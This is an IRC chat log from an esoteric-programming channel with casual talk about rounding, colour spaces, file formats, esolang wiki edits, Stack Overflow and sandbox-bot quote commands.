18:13:26 <elliott> Phantom_Hoover: Oh, wait, I think this might be a better version of the Eclipse of Mars: http://www.skytopia.com/project/illusion/ipage-et.html
18:13:28 <elliott> I think that's the one I used.
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18:34:19 <nortti> BullwinkleJMoose: are you replacing all your programs with ones compiled with musl?
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18:40:39 <asiekierka> i <3 you man... non-sexually of course
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18:50:53 <elliott> And that night BullwinkleJMoose wept for his one true love's declaration of platonicism.
18:56:26 <itidus21> it has just occured to me that if each pixel was a mirror of some sort then it could be made to reflect some color sample
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18:58:10 <itidus21> such as an apple in a box with light shined on it magically reflected along a series of mirrors until finally reflecting off the pixels
18:59:41 <itidus21> it's newspeak for someone elses problem
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19:03:01 <itidus21> the cie 1931 color space page was too tough for me to read so i thought of that instead
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19:12:53 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:13:18 <HackEgo> ais523 is ais523. This topic may retroactively become more informative if or when Feather is invented.
19:13:30 <ais523> gah, HackEgo has ruined our convention
19:13:35 <ais523> which shows how long ago we last tried to use it…
19:14:00 <ais523> come to think of it, "not found" is not really a sensible error message for trying to exec the null string
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19:17:33 <elliott> `run mv bin test; touch bin
19:17:36 <fizzie> Sadly, there is only ENAMETOOLONG, not an ENAMETOOSHORT.
19:17:44 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:17:48 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
19:20:41 <itidus21> i have thought about colors in scRGB space before.. it's hard to really express the idea to most people
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19:25:39 <itidus21> but it's not as if they're of any great use... an apple would not be any more of an apple in an imaginary color
19:34:27 * itidus21 makes a post without putting my foot in my mouth.
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19:38:01 <HackEgo> bin \ canary \ hackenv \ karma \ lib \ paste \ quotes \ share \ wisdom
19:39:12 <elliott> fizzie: Did you know: Not submitting a candidate featured language is defined as treason in 23 of the 29 states of Canada, including Finland, China, and Europe?
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19:39:21 <HackEgo> audy: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
19:39:25 <elliott> Wait, I've seen that name before. Never mind(?)
19:39:54 <audy> Yes I idle in here sometimes
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20:22:47 <elliott> > (round 48.5, round 49.5)
20:23:33 <lambdabot> Ambiguous type variable `a' in the constraints:
20:23:35 <elliott> > printf "%.0f" 48.4 :: String
20:23:43 * Sgeo raises an eyebrow. I ... get the purpose of that rule, I think, but why is it only as popular as it is, and was the choice to round to even arbitrary or is there a reason for it?
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20:24:19 <olsner> it's to make the roundings average out, or something
20:24:34 <fizzie> It's the default rounding mode in IEEE-754, that's pretty popular.
20:24:34 <Sgeo> I mean, as opposed to rounding to odd.
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20:26:45 <itidus21> i was looking at a cake website.. and i had an amusing thought.. an esolang cake
20:26:49 <elliott> Your daily dose of irony: what type of dash is used in the prose of http://www.emdash.net/en/mission.html?
20:27:01 <elliott> Sgeo: I was fact-finding for my answer to http://stackoverflow.com/questions/9829769/strange-half-to-even-rounding-in-different-languages.
20:27:11 <itidus21> it could spell out happy birthday in brainfuck
20:27:53 <fizzie> Didn't I make a Befunge birthday card once?
20:27:57 <fizzie> Or was it so that I got one?
20:28:03 <fizzie> I think it was the latter.
20:28:14 <oerjan> 09:35:16: <elliott> oerjan: Uhh, unless you're Jewish, or gay, or...
20:28:14 <oerjan> 09:35:38: <elliott> oerjan: If by "perfect" you mean "Nazis", then yes.
20:28:25 <itidus21> the cakes on this website are just that inspirational..
20:28:58 <oerjan> elliott: your joke detector needs adjustment, it's a little slow.
20:29:18 <nortti> what timzone is used on those quotes?
20:30:12 <elliott> oerjan: It was clearly a ha-ha-only-serious thing.
20:34:13 * oerjan looks at elliott and fizzie's attempt to brighten colors, and wonders if there's something wrong with simply applying \ (x,y,z) -> (x + a*(255-x), y + a*(255-y), z + a*(255-z)) to an rgb triple
20:34:27 <fizzie> oerjan: It's not SEMANTIC.
20:34:54 <oerjan> fizzie: it's a convex combination of your original color and white, how is that not semantic?
20:35:01 <olsner> "semantic"? just prepend "bright" or "light", works with every color
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20:36:54 <fizzie> oerjan: Distances in the (gamma-compressed) RGB space are complete nonsense. (Anyway, that *is* what doing \(h,l,s) -> (h,l + a*(1-l),s) pretty much does, which is the second table.)
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20:37:44 <oerjan> ok well i know little about gamma
20:38:50 <RocketJSquirrel> * oerjan smelled a gregor nick change, and was right // no
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20:39:14 <oerjan> argh the gregors are breeding!
20:41:18 <elliott> "Thanks! ehird. You are good man."
20:41:39 <nortti> english language should in my opinion adopt term "pilkunnusija" (translates to something along the lines of commafucker)
20:41:42 <oerjan> <shachaf> elliott: Wait, how do <--- arrows work with multiple people being quoted? <-- badly, unless all quoters use them
20:42:03 <fizzie> nortti: Did you read that from cracked.com's list of words the English language is missing?
20:42:19 <oerjan> in which case <...> and <-- match like parentheses, i think
20:42:33 <elliott> fizzie: It would be amusing for a Finn to decide on that opinion only after reading an English-language piece.
20:42:47 <nortti> fizzie: did they list it there?
20:43:12 <fizzie> nortti: They did, and I saw the list being shared in some Social Media just the other day.
20:43:16 <elliott> oerjan: Is it immoral to remind an ESL speaker to mark my answer as accepted?
20:43:25 <fizzie> It's quite the synchronicity to spontaneously suggest the same thing.
20:43:42 <fizzie> (Especially since I didn't see any comma-fucking going on at the moment.)
20:43:43 <oerjan> elliott: i don't see what ESL speaker has to do with it
20:43:51 <elliott> oerjan: Neither did I, before the GUILT.
20:43:52 <nortti> fizzie: then they have made a new list
20:44:20 <elliott> oerjan: If I become Catholic, can I do whatever and have my guilt erased after-the-fact?
20:44:27 <oerjan> i suppose theoretically the person might think "accept" means "eviscerate", or something.
20:44:28 <elliott> That would be very helpful for my lifestyle.
20:44:33 <fizzie> nortti: http://www.cracked.com/article_19695_9-foreign-words-english-language-desperately-needs_p2.html #1
20:44:39 <elliott> Well, it's just they're so kind. :(
20:44:53 <fizzie> And yes, there's also an older list of 10 such words from 2009.
20:45:03 <fizzie> This one is from 28 Feb 2012.
20:45:34 <nortti> fizzie: that older one is the list that I have read
20:45:56 <oerjan> elliott: i think so, but note that if you die between the sinning and erasing for a cardinal sin, you are _really_ screwed. and that doesn't even get into latae sententiae excommunication...
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20:47:16 <elliott> oerjan: I don't anticipate dying before this answer is accepted.
20:47:45 <fizzie> oerjan: Can you just uncovert right before you intend to sin, and then reconvert just before the guilt-erasing?
20:48:18 <nortti> fizzie: It just came to mind when reading english language forums and seeing hiw english language doesn't have a good term for commafuckers
20:48:33 <elliott> nortti: "Grammar Nazi" is in widespread use.
20:48:51 <oerjan> fizzie: i think this stuff might require some element of genuine _regret_, you know.
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20:48:56 <elliott> Commafuckers is less distasteful, though. Although orthography ain'tn't grammar.
20:49:16 <oerjan> elliott: always a catch.
20:49:20 <elliott> I mean, guilt, sure; regret, no.
20:49:26 <elliott> I'd do it again, and feel bad about it.
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20:51:43 <elliott> Awesome, they did it, now I can erase the evidence.
20:52:04 <elliott> I HAVE SO MANY CONFLICTING FEELINGS
20:54:36 <elliott> oerjan: http://stackoverflow.com/questions/9830006/type-signature-between-funtion-and-class/9830084#9830084 will people look back on me in the future and think "wow that ehird guy is such an asshole"
20:54:56 <elliott> the life of an overflown stack... is the most difficult life in the wold
20:55:03 <oerjan> what do you mean, "future"
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20:55:59 <elliott> what will the kangaroos think of me
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20:57:34 <elliott> get the feeling oerjan doesn't know much about kangaroo feelings
20:57:41 <oerjan> i don't expect the kangaroos to be most likely survivors, given that eutherians already wiped most marsupials from the _other_ continents, and humans have introduced eutherians to australia.
20:57:58 <elliott> kangaroos are pretty tough
20:58:09 <elliott> and australia is devoid of almost all civilisation
20:59:27 <elliott> TIL humans have a conservation status
20:59:33 <elliott> wonder how long it took to decide that one
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20:59:55 <elliott> http://upload.wikimedia.org/wikipedia/commons/7/7a/Homo_Sapien_range.png TIalsoLd there's no humans at the south pole
21:01:09 <oerjan> let me guess, "least concern, unless they destroy themselves"
21:04:09 <elliott> They should double the scale to account for species with worryingly high populations.
21:06:54 <elliott> RocketJSquirrel: Homo sapiens is, like, plural, man!
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21:18:23 <oerjan> almost the worst part is i _still_ don't know whether the problem is at my end or nvg's
21:18:55 <oerjan> although the webchat dropping yesterday for the first time makes me slightly more suspicious that it's at my end.
21:23:10 * oerjan wishes he lived in a universe where things didn't tend to develop irritating flaws
21:25:05 <oerjan> Taneb: no, you're not dead
21:25:22 <oerjan> well, not more dead than me, anyway
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21:44:09 * oerjan tries reducing putty's keepalive to 30 secs
21:44:40 <oerjan> i'm not sure if that will help, do nothing, or make things worse
21:45:24 <fizzie> It will stay alive up to 30 secs.
21:45:36 <fizzie> (Okay, that's not quite what it means.)
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21:57:26 <ais523> btw, that gzip file that got mangled by phpBB? the person sent me the original, it was a standard gzip file after all
21:58:04 <ais523> it had a lot of NULs after the first three bytes, which presumably phpBB deleted, which is why we couldn't parse it from that
21:58:58 <fizzie> Funny, you'd think at least the modification time would have survived.
21:59:14 <fizzie> Or was that zeros too?
21:59:31 <ais523> the zeros came very early
21:59:34 <ais523> so they'd have shifted all the bytes from then on out of place
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22:00:09 <fizzie> But it's the "fixed" three bytes, then a flag byte that might well be a 0, and immediately after that the mtime.
22:00:44 <fizzie> I think we looked for the mtime field under the assumption that a '\0' FLG byte would've been there, but got dropped.
22:01:18 <fizzie> I suppose it's not too rare to not have a timestamp there.
22:01:51 <fizzie> The "delete nuls" is not a very invertible operation anyway, so it's a bit of a moot point.
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22:05:51 <ais523> oh, mtime was indeed 0, in that case
22:06:03 <fizzie> Speaking of binary data, I've been cleaning my ~, and there's a 81098752-byte file called "ut.end" in there, and I haven't managed to distinguish it from random data yet. 'file' says just "data", 'strings' or hexdump don't seem to reveal any obvious patterns in the first few hundred kb, and a "forensics" proggie called "foremost" I had (that I ran on a broken-disk image) managed to extract ...
22:06:17 <fizzie> I'm debating whether I should just delete it, or keep it secret, keep it safe.
22:06:27 <fizzie> On the other hand, 80 megs is quite a bit.
22:06:43 <fizzie> Not in the "it uses a lot of space" sense, more in the "there could be some stuff there" sense.
22:08:09 <fizzie> There's a single human-readable string I've seen in the 'strings' output, and it's the word "JUNK", the last thing 'strings' outputs.
22:08:14 <fizzie> That might be some sort of a sign.
22:09:00 <fizzie> Also there's an obviously regular-looking feature at the end, but I'm not sure what it is. It looks slightly like a sorted array of 8-byte integers.
22:09:09 <fizzie> I guess it could be offsets.
22:09:55 <fizzie> Or *something. They're a bit too large to be offsets to this file, but maybe only part of them is offsets.
22:11:21 <fizzie> The bit that actually looks like an incrementing counter goes up to 722559503.
22:11:43 <fizzie> Since the file extension is ".end", it could be just the latter piece of a CD image or something.
22:12:12 <fizzie> (Or some other 700-meg file.)
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22:15:04 <oerjan> clearly when that file is deciphered, the world ends. or is that when it is deleted.
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22:20:00 <itidus21> ISBN 978-0-109-8752-4 Hello Kitty Everywhere!: Haiku: Postcards in a Hinged Box
22:20:41 <itidus21> ISBN 978-0- 8109-8752-4 Hello Kitty Everywhere!: Haiku: Postcards in a Hinged Box
22:21:19 <fizzie> I was kinda-sorta wondering that it had a weird number of digits for an ISBN.
22:26:45 <fizzie> That's a funny normalization, xn = sgn(x)*log(1+abs(x)). It's like some sort of symmetric logarithm thing.
22:27:27 <fizzie> Looks nice and smooth, though.
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22:39:34 <ais523> wow, advert I just saw: "3 easy steps: 1. Click to download. 2. Run the .exe file to install. 3. Enjoy the fun content!" together with a large Download button, five stars, the company name, some version compatibility information, and a large tick for some reason
22:39:42 <ais523> no indication on what the product actually was…
22:39:54 <ais523> what are the odds it /isn't/ malware?
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23:01:32 <Sgeo> Did I ever mention I was an idiot as a kid?
23:01:44 <ais523> Sgeo: are you an idiot now?
23:01:52 <Sgeo> ais523, I'd like to think not.
23:04:59 <Phantom_Hoover> Sgeo, you damn fool, that's at least 2 more lambdabot messages for me tomorrow morning.
23:05:13 <Sgeo> Phantom_Hoover, idgi
23:06:18 <Phantom_Hoover> elliott won't be able to resist that one, and since his sleep cycle is so insane he'll logread that.
23:08:05 <Sgeo> Surely he'll see that you saw it though?
23:08:33 <Sgeo> Or, I don't get what he's going to do. Crack jokes privately to you at my expense?
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23:30:04 <Sgeo> tswett, monqy has been turned into a MUFFIN.
23:30:27 <tswett> The most important character in Homestuck?
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00:10:05 <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe.
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00:25:04 <oerjan> `addquote IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
00:25:07 <HackEgo> 827) IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
00:26:18 <HackEgo> *poof* IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
00:26:59 <oerjan> `addquote <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe. [...] IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
00:27:02 <HackEgo> 827) <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe. [...] IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
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00:32:29 <pikhq_> Apparently I'm 4 years and a day younger than GCC.
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00:38:18 <tswett> Sgeo: I don't care to be notified of muffins esoterically, by the way.
00:38:24 <HackEgo> 26) SUPLENTES EN UN UNIVERSO (MUSSOLINI CUANDO CONQUISTO EL MUNDO): <ehird> i tan solo puede concluir que es defectuoso, o el mundo esta absolutamente loco. Todos a la gloria Il Duce!
00:38:37 <Sgeo> tswett, so, only other muffins, or no muffins?
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00:39:07 <tswett> I have a notifier in my status bar already. I like it to be where it is.
00:39:23 <tswett> I like the nonsenseness of quote 26 there.
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00:58:31 * quintopia fetches a diaper and the the roid creme
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00:59:16 <RocketJSquirrel> Basically, if you're older than GCC you're a crotchety old man, and if you're younger, you're an infant.
01:00:14 <quintopia> thank goodness some young women prefer older women
01:01:36 <quintopia> anyway, i've got me a part time infant for sexual healing. she overlooks the wrinkles and baldness and liver spots and varicose veins and oh god i'm gonna make myself cry imagining myself at 80
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01:03:23 <quintopia> my only comfort at the moment is having more hair than gregor
01:05:20 <quintopia> dont lie to me. i know you came by your hat addiction the hard way
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01:08:14 <quintopia> greogr your forehead goes on for miles. you could fry an egg on a bad sunburn. andthe strange thing is...it wouldnt work on anyone else.
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01:11:42 <quintopia> have you ever considered becoming a trekkie? you'd be a natural as a klingon.
01:13:01 * quintopia reads "i have press-on forehead wrinkles in the my dresser drawer" between the lines here
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01:14:16 <RocketJSquirrel> 'fraid not. Actually, come to think of it, the only apparel I own which is themed by a television show (and not e.g. a webcomic) is licensed My Little Pony X-D
01:16:26 <RocketJSquirrel> Of course, since it's Klingon, that's probably supposed to be spelled Q'uapleaoux or something.
01:19:42 <quintopia> canon powershot, eh. great camera series.
01:22:08 <RocketJSquirrel> I've just installed CHDK and made some scripts. Installing CHDK barely counts as hacking anything since it doesn't even overwrite the PROM.
01:24:53 <quintopia> but writing scripts yourself counts
01:26:21 <RocketJSquirrel> I have one that just lets you save virtually every aspect of the camera's optic settings so that you can take pictures (in the same scene) without fear of it randomly deciding to do different exposure settings or what have you.
01:26:34 <RocketJSquirrel> But still lets you autodetect them the first time since it's not terribly bad at that.
01:27:13 <RocketJSquirrel> I had one that's basically just a continuous-shot mode a bit better than its inbuilt one ...
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01:41:17 <oerjan> is an advanced research fellow a student, or something after that?
01:42:16 <oerjan> i am picking [[Edwin Brady]] as a random edit, and it's 6 years since the last one
01:43:01 <oerjan> inventor of whitespace
01:46:05 <oerjan> are there no british people awake? ):
01:47:35 <quintopia> all the brits are probably at the theater
01:48:25 <quintopia> no they dont misspell that one for some reason
01:49:14 <oerjan> oh well i'll just say "an advanced research fellow" without implying anything about what it is :P
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01:50:28 <Sgeo> monqy, another muffin
01:51:42 <Sgeo> Don't tell anyone
01:52:30 <quintopia> TI your drivers is killing my box :(
01:53:07 <quintopia> this compy barely has two silicon crystals to bang together. its a wonder it even manages to boot windows
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01:53:42 * oerjan thought muffins were a special kind of update, since he vaguely recalls this homestuck thing has a lot of them
01:55:00 <Sgeo> oerjan, a recent update had a funny use of MUFFIN, so muffin became the new update.
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04:30:00 <zzo38> In Dungeons&Dragons game, I used spell Extend Tentacles for a defensive use, although probably the intended purpose of such a spell is for attacking, I tried a defensive use to open a door which I believed was trapped (although it turned out not to be trapped, but I thought it was trapped).
04:32:03 <Sgeo> I wonder what it would be like for zzo38 to play Paranoia.
04:36:11 <zzo38> At first the door was locked. I thought that it was trapped as well, and I had a black dagger which I believed would unlock the door and disable the trap; actually it did not even manage to unlock it. After the other wizard unlocked it, I thought that since it wasn't unlocked in the proper way that it must have a trap.
04:36:59 <Sgeo> On some server's MOTD:
04:37:01 <Sgeo> - 04 Dec 2006 - The server will be down this weekend (Saturday and possibly
04:37:01 <Sgeo> * - Sunday) as our hosting company is moving to a new datacenter.
04:37:29 <Sgeo> Right below 24 Feb 2011 - Server migrations!
04:56:51 <oerjan> sounds like the took a "long weekend"
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04:59:28 <zzo38> Anarchy golf now includes Euphoria, K, Piet, CLC-INTERCAL, Icon, SNOBOL, REXX, PARI/GP, gnuplot, and Malbolge.
05:01:03 <oerjan> lots of contributions for that, i assume
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06:59:06 <zzo38> Are you ever going to make cards which are ten or more inches long at a resolution of 3000 dots per inch or more than that?
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07:13:20 <zzo38> conversion/"gain",#1[numeric],"life": gen_gain_life(#1)[action]; rule/gen_gain_life(#1): switch( and(greater(#1,0),has_property(property.life)),do_gain_life(#1), and(equal(#1,0),has_property(property.life)),relax(), true(),action_fail() ); rule/do_gain_life(#1): set(property.life,add(get(property.life),#1));
07:14:03 <zzo38> This is just some of my ideas to have a kind of programming language related to Magic: the Gathering cards and similar games
07:15:35 <zzo38> What is your ideas related to this things?
07:19:12 <zzo38> And then we would need such things as allow rules to be overridden by other rules, allow triggers to be attached, allow values of properties to be affected by static abilities and other effects of other rules, etc
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08:54:30 <zzo38> The weapon of defense of chess includes: Keeping attack lines closed or under control. Repairing weakness. Trading pieces for endgame safety. Elimination of the strong attacking piece. Relieving pressure. Confusing the opponent's pieces. Maneuver and redeployment. Breaking the attacking front. Seizing a foothold in the center.
08:54:49 <zzo38> Replace "pieces" with "cards" and now you can play Pokemon card too.
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09:55:14 <elliott> "You've earned the "monads" badge. See your profile."
09:57:12 <zzo38> Sacrifice is also useful to Pokemon card. Even if your opponent picks up five side cards you can still win (either by taking six side cards, knocking out all of your opponent's pokemons, or your opponent run out of cards).
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10:02:55 <fizziew> elliott: Are you now a monad?
10:03:20 <shachaf> You are what you answer Stack Overflow questions about.
10:04:08 <elliott> fizziew: How can you have seen my line? You were, like, totally offline.
10:04:44 <elliott> Dmitry: Your question specifically mentions "IEEE 754". That's the standard. – Gabe 13 hours ago
10:04:44 <elliott> @Gabe, one little question. How do you know that my name is DMITRY? My nick contains only cyrillic letters. So that's your DMITRY reference sounds really confusing. – ДМИТРИЙ МАЛИКОВ 13 hours ago
10:04:44 <elliott> I can't type Cyrillic, I'd have to copy-and-paste your name. Since your name is a link, it's difficult to select, so the easiest thing was to just type your name in English. – Gabe 12 hours ago
10:04:44 <elliott> But how can you translite my name from cyrillic to latin? Is it displayed in latin? – ДМИТРИЙ МАЛИКОВ 11 hours ago
10:04:44 <lambdabot> Plugin `babel' failed with: Error: Language one not supported
10:04:47 <shachaf> Is it also the codual of codoing?
10:04:52 <elliott> Little known fact: it is impossible to read Cyrillic.
10:05:53 <shachaf> elliott: More precisely, one can read Cyrillic iff one can type Cyrillic.
10:05:56 <fizziew> elliott is: Analytical, Citizen Patrol, Cleanup, Commentator, Critic, Deputy, Editor, Enlightened x 46, Enthusiast, Epic, Fanatic, Good Answer x 3, haskell, haskell, haskell, monads, Mortarboard, Nice Answer x 67, Nice Question, Organizer, Proofreader, Pundit, Scholar, Student, Supporter, Tag Editor, Teacher.
10:06:43 <elliott> I'm haskell, haskell, haskell, monads.
10:06:44 <shachaf> elliott: Does PUNDIT mean you make a lot of PUNS? HA HA HA HA HA HA HA HA.
10:07:12 <fizziew> And a gold fanatic. Well, that all seems accurate.
10:07:19 <elliott> fizziew: Anyway, it's ×, not x, SILLY.
10:07:44 <elliott> I like how "Nice Answer" is a lower award than "Good Answer".
10:07:52 <elliott> "Nice answer!!! Not good, though."
10:08:13 <shachaf> http://farm5.static.flickr.com/4050/4389821716_ec9a5d2d4b.jpg
10:08:46 <elliott> No. I have never seen that picture before.
10:09:39 <shachaf> Can you ever see the same picture twice?
10:09:47 * shachaf is deep and philosophical.
10:09:53 <fizziew> I tried to find out the standard size of those banana boxes they have in shops, but W|A interprets "banana box" as [cuboid | color banana] and draws me a banana-coloured cuboid.
10:10:09 <shachaf> Or is that "deep-end philosophical"?
10:10:47 <elliott> "Tusho stop removing the esco link it is not spam and it has been there for a while. Unless you got consensus from admins or the rest of the community do not make such an edit without sufficient support. This is not your it is Graue's site so please do not remove the link if you do so again I'll report you."
10:11:22 <fizziew> I remember it, but not what it was.
10:11:36 <elliott> Little did he know, my secret plan was to falsify his statement "This is not your it is Graue's site".
10:11:44 <fizziew> Unless it was some sort of a conglomerated thing.
10:11:59 <elliott> fizziew: A bunch of *exceedingly poor* esoteric language interpreters all put into one binary for no adequate reason.
10:12:31 <elliott> Melab decided to add an external link to it to the articles of every esolang it implements.
10:12:42 <elliott> fizziew: The bestest part was that the BF ciphers were reimplemented separately.
10:12:55 <elliott> Not even copy-pasted, they were all structured slightly differently.
10:13:34 <shachaf> Well. That part is pretty bestest.
10:13:40 * shachaf is tempted to look at the code.
10:14:01 <shachaf> But it's a SourceForge .tar.gz download.
10:14:27 <shachaf> I'll read http://esco.sourceforge.net/?page=faq instead.
10:14:37 <fizziew> ESCO is a leading global provider of highly engineered consumable products and solutions for challenging industrial applications in the resources.
10:15:40 <elliott> "Byter is a language for training your brain." -- the language descriptions are the bestest
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10:16:47 <fizziew> Did you know that the Befunge-93 instruction pointer cannot move only in one dimension? If you try to make a oneliner, it'll implode.
10:17:52 <shachaf> Now I know what it stands for.
10:18:45 <elliott> shachaf: It's from science and outter space and hate humens.
10:19:10 <shachaf> elliott: Would you stop being evil?
10:19:59 <elliott> shachaf: When making silly references is outlawed, only outlaws will make silly references :'(
10:20:09 <fizziew> elliott: Did you know Unary (the language) is also impossible? I learned this from the Spoon website.
10:20:57 <shachaf> Wait, was that a silly reference?
10:21:39 <shachaf> fizziew: I TOTALLY INVENTED UNARY MYSELF, MAN
10:21:52 <shachaf> LODE VANDENANVNDNENANDE is such a PLAGIARIST
10:22:16 <fizziew> I keep reading the first name as "Lord".
10:22:19 <elliott> fizziew: Which Spoon website?
10:22:58 <elliott> fizziew: Well, Unary is technically a two-token language!
10:23:32 <shachaf> http://esolangs.org/wiki/Spoon
10:23:57 <shachaf> Why is that a Huffman code?
10:24:28 <shachaf> Looks like a regular prefix code to me.
10:24:46 <fizziew> Because the author says it's the output from a Huffman algorithm.
10:25:33 <fizziew> "I used the operations present in Brain (there are only 8, []<>+-.,) and collated a number of examples. I ran this through my Huffman program to determine the best token, based on probability."
10:26:12 <elliott> Note: Huffman actually returned '001011', but to save confusion
10:26:12 <elliott> for those quickly scanning the file for token conversions
10:26:12 <elliott> I elected to mis-quote it (see later tokens DEBUG & EXIT
10:28:05 <fizziew> Well, it's an almost-Huffman code, then.
10:28:19 <shachaf> DEBUG is such a useful instruction.
10:28:47 <shachaf> I wonder why that's not more popular.
10:30:07 <shachaf> http://www.bluedust.dontexist.com/spoon/
10:30:16 <shachaf> I have one program which is an answer to all four challenges.
10:30:33 <fizziew> Is it the empty program. :'''(
10:31:01 <shachaf> It is the empty program, fizziew.
10:31:13 <fizziew> You must send em an empty email.
10:31:26 <shachaf> I guess you could argue that the empty program isn't readable.
10:31:30 <shachaf> Since there's nothing to read.
10:31:46 <shachaf> But every nonempty subprogram of the empty program is readable.
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10:34:24 <elliott> RocketJSquirrel: What was glogbackup doing here?
10:34:54 <fizziew> Maybe just, you know, hanging around. You don't have to be so aggressive!
10:35:56 <shachaf> "glogbackup = stupid" -- ehird "i hate glogbackup" elliott
10:36:03 <fizziew> All "WHAT DO YOU THINK YOU ARE DOING HERE‽"
10:36:16 <fizziew> "WE DON'T WANT YOUR KIND AROUND HERE."
10:36:37 <elliott> http://meta.stackoverflow.com/questions/126640/while-programming-objective-c
10:37:44 <shachaf> No need to be so harsh on user1285628, elliott.
10:38:03 <shachaf> My problem, too, lies with Writing the Codings.
10:38:10 <ion> elliott: :-D
10:38:12 <fizziew> You just need the Key Points.
10:38:30 <shachaf> fizziew: But What are the Key Points to be remember while Writing the Code.
10:38:41 <fizziew> I think they are the Blue Key, the Red Key and the Green Key.
10:38:58 <shachaf> I think I played that game.
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10:47:01 <elliott> That just sounds like an SSE instruction, really.
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11:01:00 <elliott> You know when you turn into a city and all the other cities exile you and you turn red?
11:01:03 <elliott> Guess what just happened to me. :(
11:04:39 <elliott> "Honestly, if you ask me, the only reason Haskellers get away with this kind of stuff (particularly when naming arguments to functions, let bindings, etc) is because the compiler saves their bacon and ensures they don't accidentally use the wrong character in the wrong place, as the compiler almost always catches such errors. If it were any other language, the practice would've been stamped out long ago as it would be untenable."
11:04:51 <elliott> shachaf: Did you know that mathematicians never use one-letter variables?
11:04:55 <elliott> That's because they don't have a compiler.
11:09:50 <fizziew> I thought they all used Math 4.52 to compile their proofs.
11:10:16 <fizziew> I mean, it *is* hoof and hooves, right?
11:10:56 <elliott> fizziew: Doesn't everyone use http://www.inutile.ens.fr/estatis/falso/ these days?
11:11:33 <fizziew> Based on those quotes and especially the beards of the quotees, apparently.
11:13:11 <fizziew> Hey, I remember Burnside's lemma. Vaguely.
11:13:54 <elliott> Proportion of true statements
11:13:54 <elliott> (more is better)Less than 50%Over 99.9%
11:13:54 <elliott> Hmm, I wonder what "portion" of ZFC statements are actually true.
11:13:57 <elliott> (Not that that makes much sense.)
11:15:19 <elliott> http://www.inutile.ens.fr/estatis/password-security-checker/ -- heh.
11:15:49 <fizziew> And also the Pólya enumeration theorem version. Interestingly, in Finnish it was called "Pólyan lause", which has quite a lot of superficial similarity with "pöljän lause", lit. something like "fool's theorem".
11:18:29 <fizziew> OH NO my password is "0 % - Insecure". :(
11:19:11 <fizziew> Even though I just generated it with "pwgen". I should submit a bug report or something.
11:19:18 <ion> For this reason, password "foo" is now compromised.
11:19:41 <fizziew> ion: You just ruined it for everyone who used "foo".
11:19:54 <fizziew> It was working just fine, but now it's compromised.
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11:24:51 <fizziew> [2012-03-23 10:19:54] Tweeted: About NetHack: will sometimes warn you of danger. off in the wilderness. he was five feet long from tongue to tail. he is not like a wand... (fungot)
11:24:56 <fizziew> Turned that thing on again.
11:25:24 <fizziew> It has been off since beginning of February due to an "'ascii' codec can't decode byte 0xc3 in position 64: ordinal not in range".
11:27:07 <elliott> Python's defaulting to ASCII is... odd.
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12:50:17 <elliott> AAAAAAAAAAAAAAAA MY FACE IMPLODE
12:50:24 <elliott> Does anyone even notice me doing that any more?
12:57:47 <RocketJSquirrel> <elliott> RocketJSquirrel: What was glogbackup doing here? // glogbackup determines if Codu is down by ping. If codudms (the DMS for Codu) itself is having connectivity issues, it can misinterpret that as Codu being down.
13:02:42 <elliott> Have you ever merged in the backup logs, ever?
13:04:58 <elliott> 00:26:59: <oerjan> `addquote <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe. [...] IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
13:05:10 <HackEgo> *poof* <itidus21> I have identified a language which was only designed and implemented by me in a parallel universe. [...] IN AN ALTERNATIVE UNIVERSE: <itidus21> Ah, yet another brilliant programming language creation of mine!
13:05:51 <elliott> 00:58:03: <RocketJSquirrel> March 1987
13:05:57 <elliott> RocketJSquirrel: gcc is over 8 years older than me BEAT THAT OLD MAN
13:06:43 <RocketJSquirrel> `addquote IN AN ALTERNATE UNIVERSE: <elliott> `addquote IN AN ALTERNATIVE UNIVERSE: <elliott> `addquote IN A PARALLEL UNIVERSE: <elliott> `addquote IN A DETACHED PLANE: <elliott> I'm hungry, I think I'll eat a pizza.
13:06:46 <HackEgo> 827) IN AN ALTERNATE UNIVERSE: <elliott> `addquote IN AN ALTERNATIVE UNIVERSE: <elliott> `addquote IN A PARALLEL UNIVERSE: <elliott> `addquote IN A DETACHED PLANE: <elliott> I'm hungry, I think I'll eat a pizza.
13:08:26 <HackEgo> *poof* IN AN ALTERNATE UNIVERSE: <elliott> `addquote IN AN ALTERNATIVE UNIVERSE: <elliott> `addquote IN A PARALLEL UNIVERSE: <elliott> `addquote IN A DETACHED PLANE: <elliott> I'm hungry, I think I'll eat a pizza.
13:08:29 <elliott> `addquote <RocketJSquirrel> `addquote IN AN ALTERNATE UNIVERSE: <elliott> `addquote IN AN ALTERNATIVE UNIVERSE: <elliott> `addquote IN A PARALLEL UNIVERSE: <elliott> `addquote IN A DETACHED PLANE: <elliott> I'm hungry, I think I'll eat a pizza.
13:08:32 <HackEgo> 827) <RocketJSquirrel> `addquote IN AN ALTERNATE UNIVERSE: <elliott> `addquote IN AN ALTERNATIVE UNIVERSE: <elliott> `addquote IN A PARALLEL UNIVERSE: <elliott> `addquote IN A DETACHED PLANE: <elliott> I'm hungry, I think I'll eat a pizza.
13:09:51 <elliott> 01:41:17: <oerjan> is an advanced research fellow a student, or something after that?
13:09:59 <elliott> oerjan: rather considerably after, yes.
13:14:43 <elliott> Hit random page button to do some cleanup. Landed on TehZ brainfuck derivative, then Snack.
13:32:36 <RocketJSquirrel> elliott: I like how Snack's "SIMPLE" interpreter starts with the 'stack' having garbage.
13:34:07 <fizziew> I see it's in Category:Shameful.
13:35:06 <fizziew> RocketJSquirrel: Maybe all Snack programs start with a "grave" by convention? Who can say.
